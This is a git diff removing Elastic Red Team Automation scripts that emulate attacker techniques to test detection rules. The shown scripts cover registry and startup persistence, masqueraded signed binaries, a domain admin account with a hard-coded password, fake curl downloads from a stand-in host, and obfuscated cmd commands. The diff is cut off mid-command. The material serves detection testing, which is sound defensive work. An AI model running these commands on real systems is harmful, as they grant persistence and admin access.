-@common.requires_os(*metadata.platforms) -def main(): - winword = "C:\\Users\\Public\\winword.exe" - common.copy_file(EXE_FILE, winword) - - cmd = ( - "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' " - "-Name Test -PropertyType String -value Testing" - ) - rem_cmd = "Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name Test" - - # Execute command - common.log("Fake ms word reg mod...") - common.execute([winword, "/c", cmd], timeout=10) - common.execute([winword, "/c", rem_cmd], timeout=10) - common.remove_file(winword) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_signed_binary_spawn.py b/rta/msoffice_signed_binary_spawn.py deleted file mode 100644 index 7bf1ddade..000000000 --- a/rta/msoffice_signed_binary_spawn.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="498c13e2-789c-4a6c-b32d-0589d2f907c2", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Signed Binary Execution via Microsoft Office", - "rule_id": "321e7877-075a-4582-8eff-777dde15e787", - }, - {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, - ], - siem=[], - techniques=["T1574", "T1218", "T1566"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - temposh = "C:\\Users\\Public\\posh.exe" - binary = "C:\\Users\\Public\\winword.exe" - common.copy_file(powershell, binary) - - # Execute command - common.log("Dropping executable using fake winword") - common.execute([binary, "/c", f"Copy-Item {powershell} {temposh}"], timeout=10) - - common.log("Executing it using fake winword") - common.execute([binary, "/c", temposh], kill=True) - - common.remove_files(binary, temposh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_startup_persistence.py b/rta/msoffice_startup_persistence.py deleted file mode 100644 index 62ff4d292..000000000 --- a/rta/msoffice_startup_persistence.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ea9a54fe-62ed-4825-b302-0ebbee22233f", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Microsoft Office Process Setting Persistence via Startup", - "rule_id": "2b8ea430-897d-486c-85a8-add9d7072ff3", - } - ], - siem=[], - techniques=["T1547", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Users\\Public\\posh.exe" - temp = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\temp_persist.exe" - binary = "C:\\Users\\Public\\winword.exe" - common.copy_file(EXE_FILE, powershell) - common.copy_file(powershell, binary) - - # Execute command - common.log("Writing to startup folder using fake winword") - common.execute([binary, "/c", f"Copy-Item {powershell} '{temp}'"]) - - common.remove_files(binary, temp) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_untrusted_exec.py b/rta/msoffice_untrusted_exec.py deleted file mode 100644 index 2c498351b..000000000 --- a/rta/msoffice_untrusted_exec.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9d5af763-b3f9-4b89-96b6-16e0210f9755", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Network Connection via Process with Unusual Arguments", - "rule_id": "95601d8b-b969-4189-9744-090140ae29e6", - }, - { - "rule_name": "Untrusted File Execution via Microsoft Office", - "rule_id": "bb23a662-2d75-4714-837d-4ec9c2e772a5", - }, - {"rule_name": "RunDLL32/Regsvr32 Loads Dropped Executable", "rule_id": "901f0c30-a7c5-40a5-80e3-a50c6744632f"}, - ], - siem=[], - techniques=["T1218", "T1036", "T1055", "T1566", "T1059"], -) - -EXE_FILE = common.get_path("bin", "regsvr32.exe") -EXE_FILE2 = common.get_path("bin", "renamed.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - binary = "winword.exe" - common.copy_file(EXE_FILE2, binary) - - # Execute command - fake_regsvr = "C:\\Users\\Public\\regsvr32.exe" - common.log("Dropping executable using fake winword") - common.execute([binary, "/c", f"copy {EXE_FILE} {fake_regsvr}"]) - - common.log("Executing it to create an untrusted child process") - common.execute([binary, "/c", fake_regsvr]) - - common.remove_files(binary, fake_regsvr) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msoffice_wmi_imageload.py b/rta/msoffice_wmi_imageload.py deleted file mode 100644 index 26bfd0a02..000000000 --- a/rta/msoffice_wmi_imageload.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d2671cc5-87d0-4612-9e3c-0862b137d242", - platforms=["windows"], - endpoint=[{"rule_name": "WMI Image Load via Microsoft Office", "rule_id": "46952f58-6741-4280-8e74-fa43f63c9604"}], - siem=[{'rule_id': '891cb88e-441a-4c3e-be2d-120d99fe7b0d', 'rule_name': 'Suspicious WMI Image Load from MS Office'}], - techniques=["T1047", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") - - -@common.requires_os(*metadata.platforms) -def main(): - winword = "C:\\Users\\Public\\winword.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\wmiutils.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - wmiprvse = "C:\\Users\\Public\\WmiPrvSE.exe" - common.copy_file(EXE_FILE, winword) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(EXE_FILE, wmiprvse) - - common.log("Loading wmiutils.dll into fake winword") - common.execute([winword, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - common.execute([wmiprvse, "/c", "powershell"], timeout=1, kill=True) - common.remove_files(winword, dll, ps1) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msxsl_image_load.py b/rta/msxsl_image_load.py deleted file mode 100644 index 9d1e007d4..000000000 --- a/rta/msxsl_image_load.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="cd549ba9-63be-4eff-ab6c-f567445e1977", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Script Execution via MSXSL", "rule_id": "de3615bc-4e50-485e-b3b5-8548ef6faa3d"}, - ], - siem=[], - techniques=["T1220", "T1218", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - msxsl = "C:\\Users\\Public\\msxsl.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\scrobj.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(EXE_FILE, msxsl) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, msxsl, "--set-version-string", "OriginalFilename", "msxsl.exe"]) - - common.log("Loading scrobj.dll into fake msxsl") - common.execute([msxsl, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - - common.remove_files(msxsl, dll, ps1, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/msxsl_network.py b/rta/msxsl_network.py deleted file mode 100644 index 129d20a35..000000000 --- a/rta/msxsl_network.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: msxsl.exe Network -# RTA: msxsl_network.py -# ATT&CK: T1127 -# Description: Generates network traffic from msxsl.exe - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a8331ff5-2199-48cf-9284-88351c859835", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "b86afe07-0d98-4738-b15d-8d7465f95ff5", "rule_name": "Network Connection via MsXsl"}], - techniques=["T1220"], -) - - -MS_XSL = common.get_path("bin", "msxsl.exe") -XML_FILE = common.get_path("bin", "customers.xml") -XSL_FILE = common.get_path("bin", "cscript.xsl") - - -@common.requires_os(*metadata.platforms) -@common.dependencies(MS_XSL, XML_FILE, XSL_FILE) -def main(): - common.log("MsXsl Beacon") - server, ip, port = common.serve_web() - common.clear_web_cache() - - new_callback = "http://%s:%d" % (ip, port) - common.log("Updating the callback to %s" % new_callback) - common.patch_regex(XSL_FILE, common.CALLBACK_REGEX, new_callback) - - common.execute([MS_XSL, XML_FILE, XSL_FILE]) - server.shutdown() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/multiarch_file_drops.py b/rta/multiarch_file_drops.py deleted file mode 100644 index 2bcd69ee9..000000000 --- a/rta/multiarch_file_drops.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="b2603bac-ba1c-4e6e-a041-ed8772fded75", - platforms=["linux"], - endpoint=[ - {"rule_id": "276a5df0-7e20-4218-ade1-3f3ed711d4cb", "rule_name": "Potential Multi Architecture File Downloads"}, - ], - siem=[], - techniques=["T1105"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/curl" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching fake commands to mimic multi arch file downloads") - command = "http://fake/mipsel" - - for _ in range(8): - common.execute([masquerade, command], timeout=0.3, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/net_user_add.py b/rta/net_user_add.py deleted file mode 100644 index f813740a9..000000000 --- a/rta/net_user_add.py +++ /dev/null @@ -1,52 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Create User with net.exe -# RTA: net_user_add.py -# ATT&CK: T1136 -# signal.rule.name: User Account Creation -# Description: Adds an account to the local host using the net.exe command - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7884fa56-c4d6-494f-bfa5-825851ee0fda", - platforms=["windows"], - endpoint=[], - siem=[ - {"rule_id": "41b638a1-8ab6-4f8e-86d9-466317ef2db5", "rule_name": "Potential Hidden Local User Account Creation"} - ], - techniques=["T1078"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Creating local and domain user accounts using net.exe") - commands = [ - 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver"', - 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver" /domain', - "net.exe group Administrators macgyver /add", - 'net.exe group "Domain Admins" macgyver /add /domain', - "net.exe localgroup Administrators macgyver /add", - ] - - for cmd in commands: - common.execute(cmd) - - cleanup_commands = [ - "net.exe user macgyver /delete", - "net.exe user macgyver /delete /domain", - ] - - common.log("Removing local and domain user accounts using net.exe", log_type="-") - for cmd in cleanup_commands: - common.execute(cmd) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/network_connection_desktopimgdownldr.py b/rta/network_connection_desktopimgdownldr.py deleted file mode 100644 index 58a5e09ff..000000000 --- a/rta/network_connection_desktopimgdownldr.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -metadata = RtaMetadata( - uuid="127f1e70-a491-4da4-a24f-ac6bf6e5b756", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '15c0b7a7-9c34-4869-b25b-fa6518414899', - 'rule_name': 'Remote File Download via Desktopimgdownldr Utility' - }], - techniques=['T1105'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - desktopimgdownldr = "C:\\Users\\Public\\desktopimgdownldr.exe" - common.copy_file(EXE_FILE, desktopimgdownldr) - - # Execute command - common.execute([desktopimgdownldr, "/c", "echo", "/lockscreenurl:http"], timeout=10) - common.remove_file(desktopimgdownldr) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/network_connection_download_powershell.py b/rta/network_connection_download_powershell.py deleted file mode 100644 index c692318a4..000000000 --- a/rta/network_connection_download_powershell.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4b85db7b-b7e7-45d1-94de-210587e6d947", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '33f306e8-417c-411b-965c-c2812d6d3f4d', 'rule_name': 'Remote File Download via PowerShell'}], - techniques=['T1105', 'T1059', 'T1059.001'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - fake_exe = "C:\\Users\\Public\\a.exe" - - # Execute command - common.execute([powershell, "/c", f"Test-NetConnection -ComputerName google.com -Port 443 | Out-File {fake_exe}"], - timeout=10) - common.remove_file(fake_exe) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/network_connection_download_script_interpreter.py b/rta/network_connection_download_script_interpreter.py deleted file mode 100644 index 2e2fb9bf5..000000000 --- a/rta/network_connection_download_script_interpreter.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7253d78c-8a68-4073-b20a-fbab9d4daf23", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '1d276579-3380-4095-ad38-e596a01bc64f', - 'rule_name': 'Remote File Download via Script Interpreter' - }], - techniques=['T1105'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - wscript = "C:\\Users\\Public\\wscript.exe" - fake_exe = "C:\\Users\\Public\\a.exe" - common.copy_file(EXE_FILE, wscript) - - # Execute command - common.execute([wscript, "/c", f"Test-NetConnection -ComputerName google.com -Port 443 | Out-File {fake_exe}"], - timeout=10) - common.remove_files(fake_exe, wscript) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/network_connection_external_ip_lookup_non_browser.py b/rta/network_connection_external_ip_lookup_non_browser.py deleted file mode 100644 index ebb907798..000000000 --- a/rta/network_connection_external_ip_lookup_non_browser.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="07edc3ea-2cf8-4a8b-aa2f-6b10f1c46838", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '1d72d014-e2ab-4707-b056-9b96abe7b511', - 'rule_name': 'External IP Lookup from Non-Browser Process' - }], - techniques=['T1016', 'T1016.001', 'T1614'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "iwr api.ipify.org -UseBasicParsing"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/network_connection_freesslcert.py b/rta/network_connection_freesslcert.py deleted file mode 100644 index 2e28f4ce3..000000000 --- a/rta/network_connection_freesslcert.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -metadata = RtaMetadata( - uuid="9261a9ca-53ed-483c-967a-3f7a8f93e0ea", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'e3cf38fa-d5b8-46cc-87f9-4a7513e4281d', - 'rule_name': 'Connection to Commonly Abused Free SSL Certificate Providers' - }], - techniques=['T1573'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "Test-NetConnection -ComputerName www.letsencrypt.org -Port 443"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/network_connection_iexplore_rundll32.py b/rta/network_connection_iexplore_rundll32.py deleted file mode 100644 index 26695b169..000000000 --- a/rta/network_connection_iexplore_rundll32.py +++ /dev/null @@ -1,52 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -metadata = RtaMetadata( - uuid="9182299f-cebf-4d8b-97a8-15ec5e11fe14", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'acd611f3-2b93-47b3-a0a3-7723bcc46f6d', - 'rule_name': 'Potential Command and Control via Internet Explorer' - }], - techniques=['T1071', 'T1559', 'T1559.001'], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - rundll32 = "C:\\Users\\Public\\rundll32.exe" - iexplore = "C:\\Users\\Public\\iexplore.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\IEProxy.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, rundll32) - common.copy_file(EXE_FILE, iexplore) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "IEProxy.dll"]) - - common.log("Loading IEProxy.dll") - common.execute([rundll32, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - - common.execute([iexplore, "/c", "echo", "-Embedding", f";{iexplore}"], timeout=2, kill=True) - common.execute([iexplore, "/c", "Test-NetConnection -ComputerName google.com -Port 443"], timeout=10) - - common.remove_files(dll, ps1, rcedit, rundll32, iexplore) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/network_connection_kerberos_port.py b/rta/network_connection_kerberos_port.py deleted file mode 100644 index 0a60d994c..000000000 --- a/rta/network_connection_kerberos_port.py +++ /dev/null @@ -1,28 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b7ed774f-f5e8-49bd-995a-a705c979d88f", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '897dc6b5-b39f-432a-8d75-d3730d50c782', 'rule_name': 'Kerberos Traffic from Unusual Process'}], - techniques=['T1558'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "Test-NetConnection -ComputerName portquiz.net -Port 88"], timeout=5) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/network_connection_nslookup.py b/rta/network_connection_nslookup.py deleted file mode 100644 index 86e190365..000000000 --- a/rta/network_connection_nslookup.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -metadata = RtaMetadata( - uuid="d6c94638-5c8a-40e9-9ad8-86a8f97cc043", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '3a59fc81-99d3-47ea-8cd6-d48d561fca20', 'rule_name': 'Potential DNS Tunneling via NsLookup'}], - techniques=['T1071', 'T1071.004'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - nslookup = "C:\\Windows\\System32\\nslookup.exe" - - # Execute command 15 times - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - common.execute([nslookup, "-q=aaaa", "google.com"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/network_connection_process_unusual_args.py b/rta/network_connection_process_unusual_args.py deleted file mode 100644 index 1a10e7eb7..000000000 --- a/rta/network_connection_process_unusual_args.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="8c77b44c-fb6d-4082-b62d-147918c622d9", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "Network Connection via Process with Unusual Arguments", - "rule_id": "95601d8b-b969-4189-9744-090140ae29e6", - }, - ], - siem=[], - techniques=["T1055", "T1036"], -) - -EXE_FILE = common.get_path("bin", "regsvr32.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Making connection using fake regsvr32.exe") - common.execute([EXE_FILE], timeout=10, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/network_connection_rdp_tunneling.py b/rta/network_connection_rdp_tunneling.py deleted file mode 100644 index f2dc65a9b..000000000 --- a/rta/network_connection_rdp_tunneling.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7143aab0-c4f3-43da-a11e-aca589887860", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '76fd43b7-3480-4dd9-8ad7-8bd36bfad92f', - 'rule_name': 'Potential Remote Desktop Tunneling Detected' - }], - techniques=['T1572'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.execute([powershell, "/c", "echo", "127.0.0.1:3389", "-ssh"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/network_connection_unusual_rundll32.py b/rta/network_connection_unusual_rundll32.py deleted file mode 100644 index 5665298b8..000000000 --- a/rta/network_connection_unusual_rundll32.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1bb39cea-8bf2-4b1f-a70e-69f6074a1fb4", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "Unusual Network Connection via RunDLL32", "rule_id": "2e708541-c6e8-4ded-923f-78a6c160987e"}, - ], - siem=[], - techniques=["T1055", "T1218", "T1036"], -) - -EXE_FILE = common.get_path("bin", "regsvr32.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - binary = "rundll32.exe" - common.copy_file(EXE_FILE, binary) - - common.log("Making connection using fake rundll32.exe") - common.execute([binary]) - common.remove_files(binary) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/networksetup_vpn.py b/rta/networksetup_vpn.py deleted file mode 100644 index b183eb07c..000000000 --- a/rta/networksetup_vpn.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f9a34606-863d-46aa-b12d-eeeb68b530e3", - platforms=["macos"], - endpoint=[], - siem=[ - {"rule_name": "Virtual Private Network Connection Attempt", "rule_id": "15dacaa0-5b90-466b-acab-63435a59701a"} - ], - techniques=["T1021"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/networksetup" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake networksetup commands to connect to a VPN.") - common.execute([masquerade, "-connectpppoeservice"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/obfuscated_cmd_commands.py b/rta/obfuscated_cmd_commands.py deleted file mode 100644 index 1eb63b827..000000000 --- a/rta/obfuscated_cmd_commands.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Emulate Obfuscated cmd Commands -# RTA: obfuscated_cmd_commands.py -# ATT&CK: T1036 -# Description: Runs commands through cmd that are obfuscated using multiple techniques. -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7b88c558-f732-4ff4-adaa-09c79bf02bd2", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(): - # All encoded versions of the following: `start calc && ping -n 2 127.0.0.1>nul && taskkill /im calc.exe` - commands = """ - %comspec% /c "cm%OS:~-7,1% /c start%CommonProgramFiles(x86):~29,1%%PUBLIC:~-1%alc && ping -%APPDATA:~-2,-1% 2 127.0.0.1>nul &&%CommonProgramFiles(x86):~-6,1%taskkil%CommonProgramFiles:~-3,-2% /im %TMP:~-8,1%alc.exe - cmd /c "%pUBLIc:~ 14%%PRogRamFIleS:~ 9, -6%%Os:~ 3, -6% /%pubLIc:~ 14, 1% s%TeMp:~ -13, -12%%aPPdATA:~ -11, 1%%prograMfILeS(x86):~ -18, 1%%tMP:~ -13, -12%%prOGRAMw6432:~ -6, -5%%PubliC:~ 14, 1%%Temp:~ -12, -11%%tMP:~ -6, 1%%pubLic:~ 14%%COmmONPRoGRaMfILes:~ 23, 1%&&%COMmOnPrograMw6432:~ -19, -18%%tmp:~ -17, 1%%ApPDatA:~ -3, 1%%CoMmONProgrAMW6432:~ 22, 1%%APPDaTA:~ -1%%PrOGramFILeS:~ -6, -5%-%aPPDaTa:~ -2, -1% 2%pROGRaMW6432:~ -6, -5%127.0.0.1>%apPData:~ -2, 1%u%ProGRaMW6432:~ -3, 1%%COMmoNPRogramFIles(X86):~ -19, -18%&&%PRoGRaMfILES:~ 10, -5%%ALlUsErspRoFiLe:~ 12, -1%a%COmmOnPrOgrAmw6432:~ 28, 